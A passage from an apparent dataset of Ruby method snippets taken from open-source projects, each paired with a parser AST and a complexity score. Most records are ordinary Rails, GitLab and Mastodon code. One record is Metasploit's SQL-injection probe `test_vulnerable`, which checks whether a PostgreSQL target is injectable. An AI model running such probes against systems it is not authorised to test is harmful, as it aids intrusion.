Access\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"CVE_2014_7829\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"send\",\"children\":[null,\"rails_version\"]}]},{\"type\":\"str\",\"children\":[\" has a file existence disclosure vulnerability. Upgrade to \"]},{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"lvar\",\"children\":[\"fix_version\"]}]},{\"type\":\"str\",\"children\":[\" or disable serving static assets\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"sym\",\"children\":[\"high\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gem_info\"]},{\"type\":\"send\",\"children\":[null,\"gemfile_or_environment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_path\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/msg/rubyonrails-security/23fiuwb1NBA/MQVM1-5GkPMJ\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[22]}]}]}]}]},null]}]}]}","id":"3cd20355-6591-48e5-836c-6b1d988169b2"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/terms_of_service/distributions_controller.rb","start_line":6,"raw_source":"def create\n authorize @terms_of_service, :distribute?\n @terms_of_service.touch(:notification_sent_at)\n Admin::DistributeTermsOfServiceNotificationWorker.perform_async(@terms_of_service.id)\n redirect_to admin_terms_of_service_index_path\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@terms_of_service\"]},{\"type\":\"sym\",\"children\":[\"distribute?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terms_of_service\"]},\"touch\",{\"type\":\"sym\",\"children\":[\"notification_sent_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Admin\"]},\"DistributeTermsOfServiceNotificationWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terms_of_service\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_terms_of_service_index_path\"]}]}]}]}","id":"1ed70ac6-efb0-4a3a-8165-a2c20997323d"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/test/iterable/iterable_test.rb","start_line":370,"raw_source":"def continue_iterating(job, jid:)\n job.stop_after_iterations = nil\n job.set(jid: jid).perform_async\n job.perform_one\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"continue_iterating\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"kwarg\",\"children\":[\"jid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"stop_after_iterations=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jid\"]},{\"type\":\"lvar\",\"children\":[\"jid\"]}]}]}]},\"perform_async\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"perform_one\"]}]}]}","id":"6a940d60-4cc5-4753-ad69-9a0152681287"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/team.rb","start_line":188,"raw_source":"def support_target_ruby_version?(cop)\n return true unless cop.class.respond_to?(:support_target_ruby_version?)\n\n cop.class.support_target_ruby_version?(cop.target_ruby_version)\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"support_target_ruby_version?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cop\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop\"]},\"class\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"support_target_ruby_version?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop\"]},\"class\"]},\"support_target_ruby_version?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop\"]},\"target_ruby_version\"]}]}]}]}","id":"9ac7d7bf-fb12-4e87-b84e-38261c04f710"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/o_auth/provider.rb","start_line":61,"raw_source":"def self.config_for(name)\n name = name.to_s\n if ldap_provider?(name)\n if Gitlab::Auth::Ldap::Config.valid_provider?(name)\n Gitlab::Auth::Ldap::Config.new(name).options\n else\n nil\n end\n else\n provider = Gitlab.config.omniauth.providers.find do |provider|\n provider.name == name ||\n (AuthHelper.oidc_providers.include?(provider.name.to_sym) && provider.dig(:args, :name) == name)\n end\n merge_provider_args_with_defaults!(provider)\n\n provider\n end\n end","complexity_score":34.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"config_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ldap_provider?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"Ldap\"]},\"Config\"]},\"valid_provider?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"Ldap\"]},\"Config\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"options\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"provider\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"omniauth\"]},\"providers\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuthHelper\"]},\"oidc_providers\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"name\"]},\"to_sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"merge_provider_args_with_defaults!\",{\"type\":\"lvar\",\"children\":[\"provider\"]}]},{\"type\":\"lvar\",\"children\":[\"provider\"]}]}]}]}]}","id":"5ddd859a-0ed6-4d73-85b0-cb8c690c36ce"} {"repo_name":"forem","file_path":"./repos/forem/app/services/markdown_processor/fixer/base.rb","start_line":34,"raw_source":"def self.lowercase_published(markdown)\n markdown.gsub(/-{3}.*?-{3}/m) do |front_matter|\n front_matter.gsub(/^published: /i, \"published: \")\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"lowercase_published\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"markdown\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markdown\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"-{3}.*?-{3}\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"front_matter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"front_matter\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^published: \"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"published: \"]}]}]}]}","id":"5ac4d36b-027d-4398-b373-6465e44075ff"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/relation_scoping_test.rb","start_line":234,"raw_source":"def test_scoped_create_with_where_with_range\n new_comment = VerySpecialComment.where(label: 0..1, post_id: 1).scoping do\n VerySpecialComment.create body: \"Wonderful world\"\n end\n\n assert_equal 1, new_comment.post_id\n assert_equal \"default\", new_comment.label\n assert_includes Post.find(1).comments, new_comment\n end","complexity_score":14.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scoped_create_with_where_with_range\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_comment\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VerySpecialComment\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"scoping\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VerySpecialComment\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"Wonderful world\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_comment\"]},\"post_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_comment\"]},\"label\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]},\"comments\"]},{\"type\":\"lvar\",\"children\":[\"new_comment\"]}]}]}]}","id":"09d42b2b-c1e7-41b6-8c65-1fb5000e0d3a"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/update_all_test.rb","start_line":193,"raw_source":"def test_update_all_with_self_left_joins_can_reference_joined_table\n lvl2 = Comment.left_joins(parent: :parent).joins(:post).where(parent: { parent: nil }).where.not(parent: nil)\n\n assert_equal true, lvl2.exists?\n assert_equal lvl2.count, lvl2.update_all(body: Arel.sql(\"COALESCE(parent.body, posts.title)\"))\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_all_with_self_left_joins_can_reference_joined_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lvl2\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"left_joins\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"sym\",\"children\":[\"parent\"]}]}]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"post\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lvl2\"]},\"exists?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lvl2\"]},\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lvl2\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"COALESCE(parent.body, posts.title)\"]}]}]}]}]}]}]}]}","id":"e026954a-d30a-4c69-8f5e-219116912f01"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/url_generation_test.rb","start_line":16,"raw_source":"def add_trailing_slash\n render plain: url_for(trailing_slash: true, params: request.query_parameters, format: params[:format])\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_trailing_slash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trailing_slash\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"query_parameters\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"format\"]}]}]}]}]}]}]}]}]}","id":"876959b2-fd78-43f1-8c2e-1b8b1894ef62"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/sqli/postgresqli/common.rb","start_line":189,"raw_source":"def test_vulnerable\n random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)\n random_string = Rex::Text.rand_text_alphanumeric(random_string_len)\n query_string = \"'#{random_string}'\"\n query_string = @encoder[:encode].sub('^DATA^', query_string) if @encoder\n output = run_sql(\"select #{query_string}\")\n return false if output.nil?\n (@encoder ? @encoder[:decode].call(output) : output) == random_string\n end","complexity_score":22.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_vulnerable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"random_string_len\",{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@truncation_length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"ivar\",\"children\":[\"@truncation_length\"]}]},\"min\"]},{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[10]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"random_string\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"lvar\",\"children\":[\"random_string_len\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query_string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random_string\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@encoder\"]},{\"type\":\"lvasgn\",\"children\":[\"query_string\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@encoder\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encode\"]}]},\"sub\",{\"type\":\"str\",\"children\":[\"^DATA^\"]},{\"type\":\"lvar\",\"children\":[\"query_string\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"run_sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"select \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_string\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@encoder\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@encoder\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"decode\"]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"random_string\"]}]}]}]}","id":"1064f31e-f788-47e0-8cf2-6c92ac8d68e5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/time_partition.rb","start_line":67,"raw_source":"def <=>(other)\n return if table != other.table\n\n partition_name <=> other.partition_name\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"<=>\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"table\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"partition_name\"]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"partition_name\"]}]}]}]}","id":"6241911c-fd4f-4057-a536-bc354ae2d6bf"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/named_scoping_test.rb","start_line":538,"raw_source":"def test_scopes_are_cached_on_associations\n post = posts(:welcome)\n\n Post.cache do\n assert_queries_count(1) { post.comments.containing_the_letter_e.to_a }\n assert_no_queries { post.comments.containing_the_letter_e.to_a }\n end\n end","complexity_score":18.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scopes_are_cached_on_associations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"cache\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"comments\"]},\"containing_the_letter_e\"]},\"to_a\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"comments\"]},\"containing_the_letter_e\"]},\"to_a\"]}]}]}]}]}]}","id":"c1a5af46-4bbd-4a94-9f5a-20c073aaf2bf"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/users/row_component.rb","start_line":46,"raw_source":"def login\n icon = helpers.avatar user, size: :mini\n\n link = helpers.link_to_user(user,\n class: \"op-principal--name\",\n name: user.login,\n href: helpers.allowed_management_user_profile_path(user))\n\n icon + link\n end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"icon\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"avatar\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"sym\",\"children\":[\"mini\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"link\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"link_to_user\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"op-principal--name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"allowed_management_user_profile_path\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"icon\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"link\"]}]}]}]}","id":"f73b270b-1a55-4d14-9bdd-8adfa8809688"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_refresh/save_inventory_helper.rb","start_line":95,"raw_source":"def save_inventory_with_findkey(association, hash, deletes, new_records, record_index)\n # Find the record, and update if found, else create it\n found = record_index.fetch(hash)\n if found.nil?\n found = association.build(hash.except(:id))\n new_records << found\n else\n update!(found, hash, [:id, :type])\n deletes.delete(found) if deletes.present?\n end\n found\n end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"save_inventory_with_findkey\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"association\"]},{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"deletes\"]},{\"type\":\"arg\",\"children\":[\"new_records\"]},{\"type\":\"arg\",\"children\":[\"record_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"found\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_index\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"found\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"build\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"except\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_records\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"found\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update!\",{\"type\":\"lvar\",\"children\":[\"found\"]},{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deletes\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deletes\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"found\"]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"found\"]}]}]}","id":"d64b7027-a4e5-4903-8f44-ac35eccfdedf"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report/ignore/config.rb","start_line":47,"raw_source":"def ignored? warning\n @used_fingerprints << warning.fingerprint\n @ignored_fingerprints.include? warning.fingerprint\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ignored?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"warning\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@used_fingerprints\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"fingerprint\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ignored_fingerprints\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"fingerprint\"]}]}]}]}","id":"25f9de9f-d6cd-48d2-af54-9229352cb752"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation.rb","start_line":401,"raw_source":"def any?(*args)\n return false if @none\n\n return super if args.present? || block_given?\n !empty?\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"any?\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@none\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"block_given?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"empty?\"]},\"!\"]}]}]}","id":"0ba07018-1c66-43a2-a93c-f7ea489a00c9"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme_field.rb","start_line":770,"raw_source":"def invalidate_baked!\n update_column(:value_baked, nil)\n dependent_fields.update_all(value_baked: nil)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"invalidate_baked!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_column\",{\"type\":\"sym\",\"children\":[\"value_baked\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dependent_fields\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value_baked\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"786607cb-8051-4423-83d8-cd1d202ddf08"} 